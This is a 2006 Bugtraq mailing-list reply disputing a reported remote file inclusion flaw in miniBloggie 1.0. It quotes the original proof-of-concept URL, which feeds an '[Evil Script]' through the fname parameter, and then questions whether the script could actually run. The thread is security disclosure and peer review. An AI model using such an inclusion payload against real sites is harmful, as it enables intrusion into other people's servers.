[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: miniBloggie <= 1.0 (fname) Remote File Inclusion Vulnerability
- To: <sh3ll@xxxxxxxx>, <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: Re: miniBloggie <= 1.0 (fname) Remote File Inclusion Vulnerability
- From: "Carsten Eilers" <ceilers-lists@xxxxxx>
- Date: Sun, 13 Aug 2006 14:31:44 +0200
sh3ll@xxxxxxxx schrieb am Thu, 10 Aug 2006 20:38:38 +0000:
>PoC:
>
>~~~
>
>http://www.target.com/[miniBloggie]/cls_fast_template.php?fname=[Evil Script]
Now you have your evil script included in a function.
But how would you call the function, to execute your
script?
Regards
Carsten
--
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz
<http://www.ceilers-it.de>